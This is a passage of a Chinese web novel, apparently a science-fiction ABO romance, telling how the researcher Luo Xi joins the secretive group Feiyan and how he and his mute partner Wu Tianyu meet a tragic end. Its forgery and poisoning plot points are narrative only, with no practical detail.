“可如果真的有神,不都说神爱世人,那它为什么却不肯救救我们?”
说完,洛熙回头去看吴天语。
不料他早就进入了浑浑噩噩的状态,虽然跟在他身后,却四处张望、一脸惊恐,像被关进罐子里的小鸟。
什么也没听到。
忍不住上前抱住吴天语,洛熙忍了又忍,终于还是带着哭腔:“对不起,天语。我为了给母亲复仇,做了各种乱七八糟的事,却忽略了你,竟然在央星时,也从不联系你。”
想起自己调查的真相,洛熙心痛极了,他被迫失去了一个亲人,马上或许还要再失去一个。
一股梦幻的味道飘来,带着温柔的安抚,洛熙的背上被人轻轻拍了拍,耳边传来熟悉的声音:“不、哭。”
“杏仁,苦。”
“我一定会治好你。”洛熙坚定地说道,就像吴天语曾经将他背出了废墟,他也可以将他从泥沼拖出。
有时候,机缘就是来得这般巧妙。
灵光一闪,洛熙提出了再次查看吴天语信息素的建议。
可先前他们已经研究过很多遍。
“天语的信息素很奇怪,它不是一种现在发现的生物应该有的味道,类似花香、却更迷蒙一些。”洛熙绞尽脑汁去形容。
而同事们却觉得不可思议,因为在他们看来,吴天语的信息素就是普通的香气。
“啊,我明白了,”尚自流拍拍手,看起来十分高兴,“你们能相互感知到彼此的信息素吧?”
众人投来“哇塞”、“恭喜”的目光,洛熙不禁脸红,却又不知道要反驳什么。
但幸运的是,他们发现了恶化速度过快的原因。
不幸的是,他们发现吴天语的腺体被一种极为隐秘的手段改造过。
没有留下任何痕迹,但确确实实发生变化了。
但这一切都可以等以后再说,因为眼前最重要的,替代实验终于迈上了正轨。
一年后,适应性替代理论终于成熟,尚自流以个人名义,发表了这一研究,但也仅仅是在一个小圈子里。
不是他不想公布,而是他摸不准外界的反应,毕竟这件事牵扯到王室,如果不顺利,其他人或许还能有条生路。
而吴天语已经几乎不再说话,却仍旧温柔乐观,虽然一切,他都得从0开始学起。
他可以记住许多的东西,洛熙用两人存的钱,淘了很多书籍,从幼儿诗歌到拼音注解,陪他一步步用标记去学习每一个拼音和词汇。
甚至书籍数量太多,只能又在以前的房子里添置了书架,两人共同走出了那部电梯,将实验室的书籍全部运回了家里。
“这个红色的波浪线代表什么,还记得吗?”
“我爱你。”
阔别一年的四人再次重聚,看着久别好友脸上、一如既往的笑意,变成油头的阿瑞亚嚎啕大哭,好像没变过的李光也泪光闪闪。
这一年,是洛熙最快乐的一年。
同事们友好平等的相处,期间他还知道他从小就喜欢的杂志,主编竟然就是自己的老师。
这让他一度以为这个世界就是这样的。
某天,那个一开始递给洛溪工作服的alpha,一脸着急,满身是血地把装有实验室资料的光脑给洛熙送来,和外表不同,他言语间一片松快:“洛熙,我要为真理牺牲了。”
“你和天语不要出头,找个没人的地方,好好生活下去。”
“老师说,真理不会被埋没,真相也是,他让你无论遇到什么事,都好好考虑,不要走错路。”
“不要去报仇,不要再让自己后悔,老师说,一切都是他的错。”
“飞燕不该是你的归宿。”
所以,世界还是那个样子,一点没变。
“没有永恒的敌人,只有永恒的利益。”那个人端起咖啡杯,看向洛熙的眼神,似乎想学习尚自流那样的平和,却透着让人恶心的虚伪,“一年前我就说过,你,一定会是我们的。”
“你母亲的事也好,你男友的事也好,都说明这个世界的公平,只能掌握在自己手里。”像恶魔的低语,却有着天使的嗓音,“洛熙,我们永远不会因为利益出卖你,因为——”
那人双臂张开,似乎在拥抱这个世界:“我们,都是不属于这个世界的人。”
那天晚上,洛熙酩酊大醉,在不算狭窄的客厅,在住了好几年的客厅里,他像一只蝴蝶,跌跌撞撞,磕磕碰碰,摇摇晃晃,零零落落。
“年轻时,我一直想寻找一个答案。我用尽手段寻找相关的资料、得到去央星的机会,然而在那里,所有我学到的东西、我用过的手段,都是徒劳无功,遍寻不到答案。”
酒水洒在了吴天语脸上,他第一次接触这种饮料,却一口就断定他不喜欢,因为是苦的。
“直到飞燕找到我,那些无论如何都打不开、看不见的资料,就这样呈现在眼前。原本被军部看管的怪兽,却被王室放走,死去的人,其中就有我们的母亲,又再次成了双方博弈的起点。”
蝴蝶想要飞到沙发上,却被吴天语一把抱了下来,沙发太软,容易受伤。
“还记得我们逃难时,看到的那个少爷吗?那个看起来和你年纪差不多的少年,实际上只比老师小三岁,他和他的朋友,以王室的名义前来赈灾。难道他们不清楚吗?所有的高贵和优雅,都是用像我们这样的人的血骨铸成的。”
任由自己跌进那个熟悉的怀里,洛熙将手抚上了喜欢的脸庞,那双漂亮的眼眸一如既往温和地笑着,这么多年,这里装尽了各种各样的自己。
“所有的真相,只是掌权者的主观意念。我不甘心,凭什么我没有自由生活的权利,凭什么我们不能被看见,明明整个星联,数量最多的还是我们这样的人。”
手指摸到温暖的唇瓣,它的主人,以前总是会用它说各种各样温暖的话,洛熙只能记起他说话的样子,却记不得他说的是什么。
“老师啊老师,你说我是背叛者,可实际上呢,是星联背叛了我,也背叛了你。”
双臂勾住脖颈,洛熙不想让脆弱被任何人看见,哪怕这个人是吴天语,背上传来轻轻的拍打,代替语言,轻微的重量也是温暖。
就这样,该发生的、或者说是不该发生的,发生了。
就这样,洛熙加入了飞燕。
比邻星上,洛熙变成了养家糊口的人。
利益、名气、公平、真相,洛熙一切都要。
他需要钱,去做自己的计划;
需要名气,让世界正视他;
需要公平,替人讨回公道;
需要真相,让坏人受到惩罚。
飞燕说,它可以提供一切。
而吴天语,依旧和以前一样,做着那份“混混”的工作,给老大打打群架,给商贩送送东西。
他给吴天语和自己弄了新的身份,当然,不是光明正大的渠道。
但洛熙却对此驾轻就熟。
甚至,洛熙还给两人建立了虚拟账户,用来存放飞燕给的金钱。
这个账户,抗住了星行的一切审计。
早出晚归,洛熙脸上的笑容越来越少,眼中的负担也越来越多。
吴天语口不能言,在某天,他抓住又要出门的洛熙的衣角。
用符号写道:“你的工作,不让你开心。”
“你知道我的工作?”此时的洛熙,对吴天语,有着极大的耐心。
“科研院,”吴天语继续写,“尚教授呢?”
是的,洛熙没有告诉吴天语关于母亲和尚教授的事情。
“他,有别的事情,可能不会再见面了,现在的同事,也可以说,是好人”洛熙看着吴天语,忍不住摸摸他的头发,“我现在工作的地方叫‘飞燕’,听起来是一种动物,但标志是一束漂亮的紫色花草。”
“你喜欢花吗?”吴天语写。
“喜欢,如果要养花,养紫色鸢尾吧,”想起鸢尾的模样,洛熙终于笑得幸福了些,“跟你很像。”
就像洛熙说的,只要他说,吴天语就会信。
尤其是识别障碍的爆发,让吴天语更难以像以前一样能轻易辨别洛熙话中的真假。
但是,杏仁味,确实好像轻松了一些。
吴天语不知道这是倾诉的力量,或许是因为,他能倾诉的时候,能承受的人没空听他说话。
他不能说话的时候,听他说话就变成了奢侈。
如果洛熙知道,今天的这番话会给未来带来巨大的改变,他会不会后悔呢?
飞燕要他研究一种花朵,可以用来下毒暗杀。
只杀贵族,所以洛熙同意了,却暗暗留了解决方案,以备不时之需。
却没想到,那个人在花店“偶遇”了吴天语。
“我一直知道他有金屋藏娇的人,”那个人挑了一只最漂亮的鸢尾,放进吴天语手中,“但我却不知道你这么特别。”
他看向吴天语眼眸深处,那里有一个极少数人才知道的印记。
“我是洛熙的同事,他有跟你提过吗?”印记仍旧在那里,可眼前的人却活得好好的。
真有意思,那人的眼中划过一丝兴味,想起央星发生的事,又感觉了然。
无所谓,这样的事在吴天语面前,都显得无所谓。
“好、人。”吴天语点点头,望着指尖上的符号,下了定义。
“没错,如果遇到什么问题,记得联系我。”那人留下了光脑号,“无论是钱财,还是出路,我们可以做一些公平的交换。”
“你很漂亮,很符合我们的审美。”
点点头,吴天语在号码后面,备注了好人的符号。
因为尚教授的事,这些年来,央星一直在加强对于识别障碍者的审查。
当洛熙准备再次造假,瞒着所有人,偷偷拿到审查通过书时,飞燕却直接给了他一张永久的。
洛熙的眼眸深沉了下去。
那个人没有掩盖自己的行为,光明正大地说着他和吴天语的相遇。
“这是我的诚意,洛教授,”光脑里,那个人显得很真诚,“我有一个提议,让天语提供一下信息素,有偿的,用于改进花朵。”
想也没想,洛熙就拒绝了。他没有想到这个人这么快掌握了天语信息素的特殊性。
还能信誓旦旦地点明用途。
除了老师团队的人,洛熙从没跟任何人提起过。
“那太可惜了,”虽然这么说,那人的脸上却是满满的胸有成竹,“你可以再考虑考虑。”
然而洛熙还是拒绝了。
从此,他在飞燕的待遇也大不如前,尽管所有人仍旧对他毕恭毕敬,可愈发减少的科研经费,说明了高层的不满。
无所谓,洛熙想,这些事,在吴天语面前,都无所谓。
老师早就警告过他,因此洛熙在加入飞燕时,并开始在为两人铺垫后路,摆脱飞燕的监控。
他叮嘱吴天语不要轻易让人动他的信息素和腺体,尤其是飞燕的人。
“可你说他们都是好人。”吴天语画了符号,“这不是好事吗?”
“……”洛熙没办法告诉吴天语,自己的所作所为,自己认为的“好事”,在他这样的人面前,却总觉得站不住脚,“是,但是,我不允许。”
黑暗不能污染纯净的眸子,洛熙想自己做这个坏人。
然而,他忘了,有时,家人之间的“为你好”,并不会让所有人都好。
日子捉襟见肘了起来,阿瑞亚和李光都看了出来,知道吴天语生过病,每次上门时,总会提着更多的东西。
“日子怎么好了起来?”洛熙看见这些东西,怀疑地问道。
“你不要看不起人好吧。”阿瑞亚一脸无语,看了眼旁边的吴天语,不忍心当着好友的面吵架。
“我们认识了一个大哥,姓朴,算是道上混的,”李光帮忙把带来的东西归拢齐整,但洛熙表示不用,很多家具都有天语的标记,他怕李光碰坏或者看到。
悻悻收回手,李光只好摸摸自己的粉色锅盖头,继续说:“天语没在的一年里,他帮了我们很多,他甚至要出钱给老瑞建个酒馆。”
“这是好事,你们不是很会酿酒吗,”洛熙随口应付,“而且也比你们三个现在干的事强。”
“对,所以我们也想来问问,天语要不要出资,”阿瑞亚鼓鼓腮帮子说,“但是没关系,我俩可以先干,就当天语出资了。”
果然,洛熙看见吴天语的眼神变得犹豫,他不敢看自己,目光躲闪。
“不必,虽然现在收入少了,但是存款还是有的。”洛熙翻了个白眼,将5万星币打到了阿瑞亚账户,“让天语干……干仓管吧,事儿少,接触的人也少。”
尽管这话怎么听怎么不对,但两人看到吴天语脸上熟悉的赞同表情,倒也没表达什么异议。
“你们现在的事儿怎么办?”洛熙摸摸下巴,问道,“你们老大肯放你们三个走?”
“慢慢来嘛,”阿瑞亚奸笑,“如果能干好酒馆,再离开也不晚啊。”
对此,洛熙不做任何表示,他对做生意不感兴趣。
拿人手短,两人最后千恩万谢地走了。
“这么开心?”吴天语的眼睛亮晶晶的,洛熙见此,忍不住笑着问道。
“嗯,朋友,变好。”吴天语点点头,没在意洛熙的调侃。
“你也在变好,”洛熙将东西收拾起来,随口问道,“但你一直没变的,是你总在我身边,为什么啊天语,我对你并不好,你的朋友都知道。”
长久没听见吴天语的回复,洛熙转过头。
却发现他在着急地画着什么,洛熙走过去一看,一张白纸上,用不同的符号拼凑起一段话:
“你眼中,我不曾拥有的智慧和对世界的欲望,是我一直在这的原因。”
你瞧,这才是婚姻缔结的开始。
后续的故事,很多人都知道。
池泷知道、林息知道、阿瑞亚知道、李光知道、洛熙知道。
吴天语也知道。
阿瑞亚三人在故乡建立了产业,吴天语真的做了仓管。
他们搬回了新建的“亚硫城”。
四个人,变成了三人和远远的一人。
洛溪的后路派上了用场,所有人都度过了平稳的一段岁月。
直到——
变了样子的花朵、熟悉的梦幻气息,当吴天语捧着花朵来到洛熙门前,四目相对,两人的眼里,是一种不能言明的解脱。
拿出被油纸包裹的解决方案,洛熙靠在吴天语怀里,轻轻笑着。
再来回答前述的问题,洛熙最终给了一个答案:“后悔”。
不然他不会见到那个面熟、总觉得有几分亲切的孩子,和当年的尚自流一样,劝导他“不要撒谎,看看身边。”
不然他不会偷偷调查那个让人喜欢的孩子,意外发现他身份尊贵,却干着“低贱”的活计。
不然他不会选择像老师当年一样,再给令人心疼的孩子一次机会,希望他能明白什么才是最重要的。
洛熙一辈子,学会了很多东西,精通很多东西,唯一学不会的,就是“做正确的事。”
他后悔自己被失去孩子的悲伤冲昏头脑,同意吴天语自我赎罪的提议,两人一分开就是一辈子。
他后悔自己没听吴天语的话,仍旧抱着自己的不甘心,临死前突然害怕伤害无辜的人。
他后悔自己自始至终,都在说谎,在欺骗那个和自己一样的孩子,没能好好道别。
而吴天语呢,他没有时间去想些什么,因为他的一辈子都在赎罪。
年幼时,是星联加注给他的罪孽。
年轻时,是母亲托付于他的爱孽。
年长时,是洛熙欺骗过他的杀孽。
“让一切罪孽,都在这里结束吧。”
洛熙很开心,他知道,吴天语也很开心。
他给最亲爱的孩子留了一个礼物,能够换取自由的礼物。
很可惜,他和吴天语都不喜欢拍照。
不然那个孩子,可以拥有一张父母的照片。
蓝色头发、粉黄色眼睛,总是神采奕奕,笑容满面,跟谁都能很快成为好友,充满人性魅力,虽然实际上是个自私鬼的人,是生他的omega爸爸。
那个紫牙乌短发、不干活时皮肤会恢复成玉石一样雪白,看起来有几分严肃,实际上很爱温柔地笑着,艳紫眼眸中总是像大海一样包容的,是爱他的alpha父亲。
终于,这一刻,蝴蝶准备扇动下一次的翅膀。
自然的规律完成了它的第五步的运作。
也是最后一步的运作。
人生,完结。